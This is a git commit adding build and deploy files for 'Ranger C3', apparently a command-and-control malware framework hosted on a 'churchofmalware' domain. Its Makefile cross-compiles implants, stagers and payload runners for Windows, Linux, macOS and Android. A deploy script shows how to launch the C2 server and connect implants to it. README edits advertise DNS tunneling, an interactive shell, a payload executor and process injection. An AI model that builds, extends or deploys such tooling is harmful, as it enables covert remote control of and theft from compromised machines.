Upload files to "/"

This commit is contained in:
ek0ms savi0r
2026-09-19 16:59:15 +00:00
parent 5568d9019b
commit 3b0f47c216
5 changed files with 150 additions and 1 deletions
+69
View File
@@ -0,0 +1,69 @@
# Ranger C3 Makefile
.PHONY: all build build-all c2 implant stager payloads clean deploy-c2
BUILD_DIR ?= ./build
GOFLAGS ?= -ldflags="-s -w"
# Cross C compiler for the linux/arm64 C2 build (cgo sqlite3).
# Override if your toolchain has a different triple:
# make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc
ARM64_CC ?= aarch64-linux-gnu-gcc
all: build
build: c2 implant stager
c2:
@mkdir -p $(BUILD_DIR)
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2 ./cmd/c2
@echo "[+] C2 server built: $(BUILD_DIR)/ranger-c2"
implant:
@mkdir -p $(BUILD_DIR)
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant.exe ./cmd/implant
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant ./cmd/implant
GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant_mac ./cmd/implant
@echo "[+] Implants built: $(BUILD_DIR)/implant*"
stager:
@mkdir -p $(BUILD_DIR)
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager.exe ./cmd/stager
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager ./cmd/stager
@echo "[+] Stagers built: $(BUILD_DIR)/stager*"
payloads:
@mkdir -p $(BUILD_DIR)
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads.exe ./cmd/payloads
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads ./cmd/payloads
GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads_mac ./cmd/payloads
@echo "[+] Payload runners built: $(BUILD_DIR)/payloads*"
build-all: build
CGO_ENABLED=1 CC=$(ARM64_CC) GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2-arm64 ./cmd/c2
GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-arm64 ./cmd/implant
GOOS=linux GOARCH=386 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-386 ./cmd/implant
GOOS=android GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-android ./cmd/implant
@echo "[+] Cross-compiled builds done"
clean:
rm -rf $(BUILD_DIR) certs/ data/
# Deploy C2 with default config
deploy-c2: c2
@echo "[*] Starting C2 server..."
./$(BUILD_DIR)/ranger-c2 \
--listen :4443 \
--mesh :9000 \
--password "changeme" \
--db data/c2.db \
--gen-certs \
--id ranger-c2-01
# Show binary sizes
sizes:
@ls -lh $(BUILD_DIR)/ 2>/dev/null || echo "build first"
# Upstream deps
deps:
go mod tidy
go mod download
+8 -1
View File
@@ -24,7 +24,7 @@
| Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames | | Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames |
| Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) | | Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) |
| Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor | | Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor |
| Payload system | 23 native Go payload modules — compiled, no Python needed at runtime | | Payload system | 24 native Go payload modules — compiled, no Python needed at runtime |
| Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation | | Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation |
| Auth | JWT-based operator authentication with token expiry | | Auth | JWT-based operator authentication with token expiry |
| Persistence | SQLite (WAL mode, concurrent) | | Persistence | SQLite (WAL mode, concurrent) |
@@ -83,8 +83,15 @@ make c2 # Linux C2 server
make implant # Cross-compile implants (win/linux/mac) make implant # Cross-compile implants (win/linux/mac)
make stager # Cross-compile stagers (win/linux) make stager # Cross-compile stagers (win/linux)
make payloads # Build standalone payload binaries make payloads # Build standalone payload binaries
make build-all # Everything + cross targets (see notes below)
``` ```
**Cross-compile notes:**
- `make build-all` cross-compiles the C2 for `linux/arm64`; the SQLite driver needs cgo, so it uses `aarch64-linux-gnu-gcc` by default. Install `gcc-aarch64-linux-gnu` (Debian/Ubuntu/Kali) or override: `make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc`.
- Full implant matrix: windows/amd64, linux/amd64, linux/arm64, linux/386, android/arm64, darwin/amd64.
- `process_inject` is linux/amd64-only; other architectures report it as unsupported instead of failing the build.
### 2. Start C2 ### 2. Start C2
```bash ```bash
+49
View File
@@ -0,0 +1,49 @@
#!/bin/bash
# deploy.sh - Deploy Ranger C3 with Nginx fronting (optional)
set -e
VERSION="3.0.0"
echo " Ranger C3 v${VERSION} - Deploy Script "
echo "==========================================="
# Check for Go
if ! command -v go &>/dev/null; then
echo "[-] Go not found. Install: apt install golang-go"
exit 1
fi
# Build
echo "[*] Building binaries..."
make build 2>/dev/null || go build -ldflags="-s -w" -o build/ranger-c2 ./cmd/c2
# Create data directory
mkdir -p data
# Generate certs if needed (reused on later runs; --force-certs to regenerate)
echo "[*] Ensuring TLS certificates..."
./build/ranger-c2 --gen-certs-only 2>/dev/null || true
echo ""
echo "[+] Build complete. To start:"
echo ""
echo " # Standalone C2"
echo " ./build/ranger-c2 \\"
echo " --listen :4443 \\"
echo " --password \"YOUR_PASSWORD\" \\"
echo " --db data/c2.db \\"
echo " --gen-certs"
echo ""
echo " # C2 with mesh peers"
echo " ./build/ranger-c2 \\"
echo " --listen :4443 \\"
echo " --mesh :9000 \\"
echo " --bootstrap \"10.0.0.2:9000,10.0.0.3:9000\" \\"
echo " --password \"YOUR_PASSWORD\" \\"
echo " --db data/c2.db \\"
echo " --gen-certs"
echo ""
echo " # Dashboard: https://your-c2:4443/dashboard"
echo " # Implant: ./build/implant --c2 wss://your-c2:4443/ws"
echo ""
echo "==========================================="
+12
View File
@@ -0,0 +1,12 @@
module git.churchofmalware.org/ek0mssavi0r/Ranger-C3
go 1.26
require (
github.com/golang-jwt/jwt/v5 v5.2.1
github.com/gorilla/websocket v1.5.3
github.com/mattn/go-sqlite3 v1.14.24
golang.org/x/crypto v0.31.0
)
require golang.org/x/sys v0.28.0
+12
View File
@@ -0,0 +1,12 @@
github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk=
github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=